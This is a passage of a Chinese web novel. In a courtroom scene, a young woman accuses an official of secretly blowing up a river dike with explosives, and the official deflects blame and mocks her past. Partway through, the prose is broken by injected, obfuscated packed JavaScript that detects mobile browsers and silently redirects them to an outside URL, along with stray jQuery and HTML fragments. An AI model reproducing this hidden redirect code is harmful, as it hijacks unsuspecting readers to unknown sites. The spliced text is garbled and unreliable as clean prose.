“诬陷?”江诗婉轻蔑地瞪了他一眼,向前一步,“田大人,谢县令刚才的话是诬陷,那小女所说十年前的堤坝被毁,是您用了大量的硝石制作了大量的炸药炸毁可是诬陷?”
“证据呢?”田华清毫不畏惧,边说边挑眉,嘴角轻轻上扬,露出一抹不易察觉的冷笑。
江诗婉把桌上的硝石日志甩在了他的面前,“还请您过目。”
十年前的硝石出厂记录,犹如雪花般落在了田华清的面前,他从地上捡起几张随便翻看了几眼,刚才还一副胜券在握的神情,如今却像是霜打的茄子蔫了下去。
“这,这些硝石记录与本官何干。”
他的声音顿时小得像是蚊子般。
“十年前,您与江矿主相互勾结,陆续私藏硝石,制作了大量的火药,暗中炸毁了梅林堤。”
江诗婉声严厉色地盯着他,“田大人,当年您利用钦天监放出来的消息,长兴县会连续下三天暴雨,又暗中在堤坝底下埋藏了巨量的炸药,这才导致水患爆发淹死了四十万的百姓。”
她言语激动,咄咄逼人。
“长江下游的堤坝设计年限为百年,是当年工部尚书江山一生的心血,却被你们这些肮脏之人炸毁。”
“水患爆发,长江下游的百姓流离失所,死伤过百万,你们是历史的罪人。”
江诗婉泪如雨下,喊出了多年的心声。
田华清被言语激动的她逼到无路可退,身后的屏风挡住了他后退的脚步。
趔趄的他被逼到了绝境,他不可置信地盯着眼前激动的姑娘,嘴唇微微颤抖:“你?,你真的是?”
“真的是他的女儿?”
田华清哆哆嗦嗦试探道。
江诗婉冷笑地盯着他:“人在做,天在看,是时候给那些无辜淹死在水患之中的人一个交代了。”
“本官对,对这些毫不知情,全,全是谢瀚海干的啊。”
田华清索性把锅全甩给了他,反下眼前这个县令早已经没有了利用的价值,也没有反抗的资本,只剩下了一个痴傻儿,掀不起什么大浪了。
如今已然到了这个地步,就要把不要脸的精神发挥到极致。
坐在朝堂之上的司遥见他依旧想要把罪行强加到别人的身上,忍不住怒拍了一下惊堂木。
“谢瀚海是受你的压迫和指使,如果不是你授意他这个行为,他敢做出这么荒唐的事吗?”
他义正言辞道。
谢瀚海自知自己闯下了弥天大祸,瘫坐在地上,“当年那些炸药,本官作为一个小小的县令,怎敢暗中制作,是
他,”
他哆哆嗦嗦地指着田华清,“是他,逼迫下官把那些炸药运到梅林堤底下的。”
“爹,那梅林堤被毁,您不是说不是您所为嘛,您为何要帮着他运送炸药。”
谢孝听明白这些来龙去脉后,跪着挪到了父亲的身边,泪眼朦胧。
谢瀚海哆嗦着轻拍了一下他的头:“好儿,爹爹全都为了你。”
“为了我?”
谢瀚海点了点头,“你的哥哥离开后,老夫在这世上只有你这么一个亲人了,爹爹如果不做,他会对你下手。”
“爹爹怎么忍心?”
谢瀚海说到此处,嘴唇微微颤抖,下巴处灰白的胡子粘上了他滚烫的泪珠。
“爹,都怪你,为何非要当这个官,为何?我们一家老小在一起,日子虽然苦点,但胜过如今妻离子散的下场吧。”
“娘就因为太过辛苦,撒手而去,如果不是您执意要功名,她怎么会累到吐血而亡。”
谢孝泪如雨下。
站在一旁的田华清睥睨着他们父子,听到这对话冷笑一声。
“谢孝,你父亲当年的功名可不是凭借他的本事考上的,是本官念他可怜,助了他一臂之力。”
他说出的话更是戳了谢孝的心窝,泪水涟涟的谢孝缓缓地转过头去,死死盯着他。
“当年爹爹是凭借本事考上的。”
谢孝不允他人诬陷自己的父亲。
在他的心里,爹爹好不容易凭借自己的本事当上了长兴县县令,终于能安抚为此付出而亡的母亲了。如果母亲泉下有知,父亲是在别人的助力下才走上的仕途,该作何感想。
他的母亲很早就嫁给了一穷二白的父亲,当时他母亲对于他的爹爹是纯爱。
她的母亲生下他哥哥和他后,又因长期劳累而病倒而亡,临死之前母亲还不忘记嘱咐他的爹爹,走上仕途之路时不要忘记照顾好两个孩子。
无奈他的爹爹太不争气,风里来雨里去,多少个春秋他都无一例外落榜。
直到到了花甲之年,才好不容易上榜,当上了长兴县的县令。
他不敢相信,父亲这个九品芝麻官也不是正道来的,父亲在他心目中的地位顿时坍塌。
田华清冷笑一声,嘴角向上扯了扯:“谢瀚海,还是你亲口告知你的傻儿子吧。”
他忍不住仰天长笑。
谢瀚海低着头,擦了下眼角的泪,屈辱地闭上了眼睛。
“爹爹,田大人说的是真的吗?”谢孝拉着父亲的衣角不停哭诉摇晃着。
这件事对他的打击实在太大了,见自己的爹爹没有言语,则从侧面更加证实了田华清说的话确实属实。
谢孝一时接受不了,把头埋在地上痛哭了起来。
江诗婉见他这么痛苦,心里也很难受,刚想要走上前去试图安慰一下,却无论如何迈不开步子。
也许对于他来说,早日看清事实未尝不是件好事,总比一直活在假象里要好得多。
“田大人,一定要做这么绝吗?”
她还未理清头绪,便被谢瀚海那低沉的声音所打乱。
田华清张牙舞爪,挽起袖子就冲到了他面的面前。
“够了。”
还未等他再次刺激谢瀚海,她便声严厉色阻止道。
“田大人,上次小女让您侥幸逃脱,这次万万不能了。”
她冷语道。
“姑娘,话可不要说太满。”田华清上下打量着她,轻蔑地笑着。
“这次证据确凿,您万万是脱不了干系的。”
田华清则无所畏惧地冲她笑了笑,“那倒要看看如今的大理寺少卿有没有这个本事了。”
司遥见曾经的太湖知州依旧不知悔改,眼神犀利,像是要喷出火来。
如今的田华清有了更大的保护伞,他胆敢如此在大堂之上猖獗,看来是有备而来。
“司少卿,堤坝被毁一案您是奉了谁之命展开调查的?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593931|168818||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
田华清终于言归正传,他内心清楚,这次是他暗中调查,所以哪怕抓住了他的把柄,他也不会轻易认输的。
手拿惊堂木的司遥有些意外,调查堤坝被毁一案是他暗中调查。如今的圣上已经下命重修堤坝,朝野上下悲喜交加,那些为了一己私欲的朝廷重臣再一次把百姓的血汗中饱私囊。
如今调查堤坝被毁一案,他只是想暗中提醒如今被架空的陛下,希望他能阻止这一切发生。
田华清已经知晓他是暗中调查,看来这次他没打算放过大理寺。
“奉了百姓之命,大理寺有责任为天下的百姓鸣不平。”
江诗婉义正言辞道。
“百姓之命,真是笑话,当今圣上就是为了天下百姓才重修堤坝,避免再次出现十年前那恐怖的水患。”
田华清清了清嗓子,“你们暗中偷偷调查十年前的案子,是不信任如今的朝廷,还是不信任当今圣上?”
“你?”
江诗婉没想到眼前的他竟然如此厚颜无耻。
“田大人,刚才江录事说了,大理石有责任为天下的百姓鸣不平。当年堤坝被毁的真相,如今的百姓依旧蒙在鼓里,我们有责任把真相公之于众。”
司遥不慌不忙,耐心解释道。
“司少卿,你们这些乌合之众,为百姓发声之前,你们是不是先要低下头来看看你们自己脏不脏。”
田华清忍不住吐槽道。
“您什么意思?”江诗婉想不明白他要表达什么,追问道。
田华清回过头来,“婉儿姑娘,您可是在花满楼当过花魁,怎么如今又靠自己的美色成了大理寺的录事?”
他嘴角轻轻上扬,露出一抹不易察觉的冷笑。
众人听到这话当场愣住了,他们面面相觑,不知该如何是好。
坐在公堂之上的司遥,顿时感到不妙,这阴险诡计多端的他看来是要拿心爱之人开刀。他脖颈青筋暴起,如同扭曲挣扎着的蚯蚓,手指紧紧地捏着卷宗泛出青白。
褐色的瞳仁翻涌着愤怒的火焰,纤长的睫毛因克制而微微颤抖着。
司遥双唇紧闭,牙齿咬得咯咯作响。
站在一旁的鲁达,握紧拳头刚要冲上去却被一只手臂拦了下来。
“不要激动,少卿会想办法的。”
张田蹙眉观察着场上的一举一动,挡住要冲上去的他。
“他要欺负婉儿姐。”鲁达着急地回过头看了他一眼。
张田把手指放在嘴唇边示意他安静,轻轻摇了摇头。
鲁达见此不情愿地退了下去。
江诗婉嘴唇泛白,眼神直直盯着他,整个人像是定住一般一动不动地站在原地。
此时的她内心甚是混乱,她没有想到田化清竟然拿自己的过去当筹码换取自己平安。
“婉儿姑娘,本大人说的对不对?”田华清阴阳怪气,边笑边戳着自己的下巴露出了阴险的笑。
“你,无耻——”江诗婉忍不住脱口而出。
“本官无耻?你可比本官无耻多了。”他激动地走到她的面前,继续张牙舞爪,“你曾是花满楼的花魁,如今又靠美色勾引大理寺少卿成了这里的录事,你说谁更无耻?”
他仰着头洋洋得意,双手叉腰甚是嚣张。